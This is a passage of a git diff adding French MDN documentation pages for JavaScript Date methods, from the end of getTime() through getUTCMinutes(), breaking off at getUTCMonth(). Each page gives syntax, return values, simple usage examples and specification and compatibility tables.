+<pre class="brush: js">var anniversaire = new Date(1994 , 11, 10); // 10 décembre 1994
+var copie = new Date();
+copie.setTime(anniversaire.getTime());
+</pre>
+
+<h3 id="Mesurer_un_temps_d'exécution">Mesurer un temps d'exécution</h3>
+
+<p>Effectuer une soustration entre deux appels à <code>getTime()</code> donne la durée écoulée entre ces appels. On peut donc utiliser cette méthode afin de connaître la durée d'exécution de certaines opérations (voir également la méthode {{jsxref("Date.now()")}} qui peut permettre d'éviter d'instancier des objets intermédiaires).</p>
+
+<pre class="brush: js">var fin, début;
+
+début = new Date();
+for (var i = 0; i &lt; 1000; i++) {
+  Math.sqrt(i);
+}
+fin = new Date();
+
+console.log('Durée de cette opération : ' + (fin.getTime() - début.getTime()) + ' msec');
+</pre>
+
+<h2 id="Précision_temporelle_réduite">Précision temporelle réduite</h2>
+
+<p>Afin de protéger contre les attaques de minutage et d'identification, la précision de <code>new Date().getTime()</code> peut être arrondie en fonction des paramètres du navigateur. Pour Firefox, la préférence <code>privacy.reduceTimerPrecision</code> est activée par défaut et vaut, par défaut 20µs pour Firefox 59 et 2ms pour Firefox 60.</p>
+
+<pre class="brush: js">// Précision temporelle réduite (2ms) pour Firefox 60
+new Date().getTime();
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// précision temporelle avec `privacy.resistFingerprinting` activé
+new Date().getTime();
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>Pour Firefox, il est également possible d'activer <code>privacy.resistFingerprinting</code> auquel cas la précision sera 100ms ou la valeur de <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code> selon laquelle est plus grande.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getTime")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.setTime()")}}</li>
+ <li>{{jsxref("Date.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.prototype.now()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/gettimezoneoffset/index.html b/files/fr/web/javascript/reference/objets_globaux/date/gettimezoneoffset/index.html
new file mode 100644
index 0000000000..97c2ab3604
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/gettimezoneoffset/index.html
@@ -0,0 +1,82 @@
+---
+title: Date.prototype.getTimezoneOffset()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getTimezoneOffset
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>getTimezoneOffset()</strong></code> retourne la différence en minutes entre le fuseau horaire UTC, et celui de l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gettimezoneoffset.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getTimezoneOffset()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur retournée est la différence, exprimée en minutes, entre les fuseaux horaires UTC et celui de l'heure locale. Cette différence est positive si le fuseau horaire local est en retard par rapport à UTC, et négative s'il est en avance.</p>
+
+<p>Par exemple, si votre fuseau horaire est UTC+10 (Australian Eastern Standard Time, Vladivostok, Chamorro), la valeur retournée sera -600. L'heure d'été (DST pour <em>daylight saving time</em> en anglais) empêche cette valeur d'être une constante.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getTimezoneOffset()">Utiliser <code>getTimezoneOffset()</code></h3>
+
+<pre class="brush:js">var x = new Date();
+var differenceFuseauxEnHeures = x.getTimezoneOffset() / 60;
+// -2
+
+// Décalage temporel local pour le premier mai
+// Attention, Date() utilise les mois numérotés
+// à partir de zéro et mai est donc représenté
+// avec 4 (et pas 5)
+var travail = new Date(2017, 4, 1);
+var decalage = travail.getTimezoneOffset() / 60;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getTimezoneOffset")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcdate/index.html
new file mode 100644
index 0000000000..5d2059e88b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutcdate/index.html
@@ -0,0 +1,82 @@
+---
+title: Date.prototype.getUTCDate()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCDate
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUTCDate()</code></strong> renvoie le jour du mois pour la date renseignée d'après UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutcdate.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getUTCDate()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur renseignée par <code>getUTCDate()</code> est un entier entre 1 et 31 pour le jour du mois de la date indiquée selon le temps universel.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCDate()">Utiliser <code>getUTCDate()</code></h3>
+
+<p>L'exemple suivant assigne le jour du mois pour la date actuelle, à la variable <code>jour</code>.</p>
+
+<pre class="brush:js">var aujourdhui = new Date();
+var jour = aujourdhui.getUTCDate();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCDate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcday/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcday/index.html
new file mode 100644
index 0000000000..d97a0bd31e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutcday/index.html
@@ -0,0 +1,82 @@
+---
+title: Date.prototype.getUTCDay()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCDay
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUTCDay()</code></strong> renvoie le jour de la semaine pour la date renseignée d'après UTC. La numérotation commence à 0, et dimanche est considéré comme le premier jour de la semaine.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutcday.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getUTCDay()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur renvoyée par <code>getUTCDay()</code> est un entier correspondant au jour de la semaine de la date indiquée selon le temps universel (0 pour dimanche, 1 pour lundi, 2 pour mardi, et ainsi de suite).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCDay()">Utiliser <code>getUTCDay()</code></h3>
+
+<p>L'exemple suivant assigne le jour de la semaine de la date actuelle à la variable <code>jourSemaine</code>.</p>
+
+<pre class="brush: js">var aujourdhui = new Date()
+var jourSemaine = aujourdhui.getUTCDay()
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCDay")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcfullyear/index.html
new file mode 100644
index 0000000000..873d48d53b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutcfullyear/index.html
@@ -0,0 +1,80 @@
+---
+title: Date.prototype.getUTCFullYear()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCFullYear
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>getUTCFullYear()</strong></code> renvoie l'année de la date renseignée, d'après UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutcfullyear.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getUTCFullYear()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur renvoyée par <code>getUTCFullYear</code><code>()</code> est un nombre correspondant à l'année de la date indiquée selon le temps universel. Pour les dates entre les années 1000 et 9999, <code>getUTCFullYear</code><code>()</code> renvoie un nombre à quatre chiffres, par exemple 1995.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCFullYear()">Utiliser <code>getUTCFullYear()</code></h3>
+
+<p>L'exemple suivant assigne une valeur à 4 chiffres, l'année courante, à la variable <code>annee</code>.</p>
+
+<pre class="brush:js">var aujourdhui = new Date();
+var annee = aujourdhui.getUTCFullYear();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCFullYear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutchours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutchours/index.html
new file mode 100644
index 0000000000..c9139151c7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutchours/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getUTCHours()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCHours
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUTCHours()</code></strong> renvoie les heures de la date renseignée, d'après UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutchours.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getUTCHours()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier entre 0 et 23 correspondant à l'heure de la date indiquée selon le temps universel.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCHours()">Utiliser <code>getUTCHours()</code></h3>
+
+<p>L'exemple suivant assigne les heures de la date actuelle à la variable <code>heures</code>.</p>
+
+<pre class="brush: js">var aujourdhui = new Date();
+var heures = aujourdhui.getUTCHours();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCHours")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcmilliseconds/index.html
new file mode 100644
index 0000000000..f662f995c6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutcmilliseconds/index.html
@@ -0,0 +1,85 @@
+---
+title: Date.prototype.getUTCMilliseconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUTCMilliseconds()</code></strong> renvoie les millièmes de secondes pour la date renseignée selon UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutcmilliseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getUTCMilliseconds()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier entre 0 et 999 correspondant au nombre de millisecondes pour la date indiquée, selon le temps universel.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Le résultat de cette méthode n'est pas le temps "Epoch". Si on veut obtenir le nombre de millisecondes depuis le premier janvier 1970, on utilisera la méthode {{jsxref("Date.prototype.getTime()")}}.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCMilliseconds()">Utiliser <code>getUTCMilliseconds()</code></h3>
+
+<p>L'exemple suivant assigne les millièmes de secondes pour la date actuelle à la variable <code>ms</code>.</p>
+
+<pre class="brush: js">var aujourdhui = new Date();
+var ms = aujourdhui.getUTCMilliseconds();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.25', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCMilliseconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcminutes/index.html
new file mode 100644
index 0000000000..e1a8d1a996
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutcminutes/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getUTCMinutes()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMinutes
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUTCMinutes()</code></strong> renvoie les minutes de la date renseignée, d'après UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutcminutes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getUTCMinutes()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier entre 0 et 59 correspondant au nombre de minutes pour la date indiquée selon le temps universel.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCMinutes">Utiliser <code>getUTCMinutes</code></h3>
+
+<p>L'exemple suivant assigne les minutes de la date actuelle à la variable <code>minutes</code>.</p>
+
+<pre class="brush: js">var aujourdhui = new Date();
+var minutes = aujourdhui.getUTCMinutes();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCMinutes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcmonth/index.html
new file mode 100644
index 0000000000..e79037ca0f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutcmonth/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getUTCMonth()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMonth
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUTCMonth()</code></strong> renvoie le mois de la date renseignée, d'après UTC. La numérotation des mois commence à 0 pour le premier mois de l'année.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutcmonth.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getUTCMonth()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier entre 0 et 11 correspondant au mois dans l'année de la date indiquée selon le temps universel (0 pour janvier, 1 pour février, 2 pour mars, et ainsi de suite…).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCMonth()">Utiliser <code>getUTCMonth()</code></h3>
+
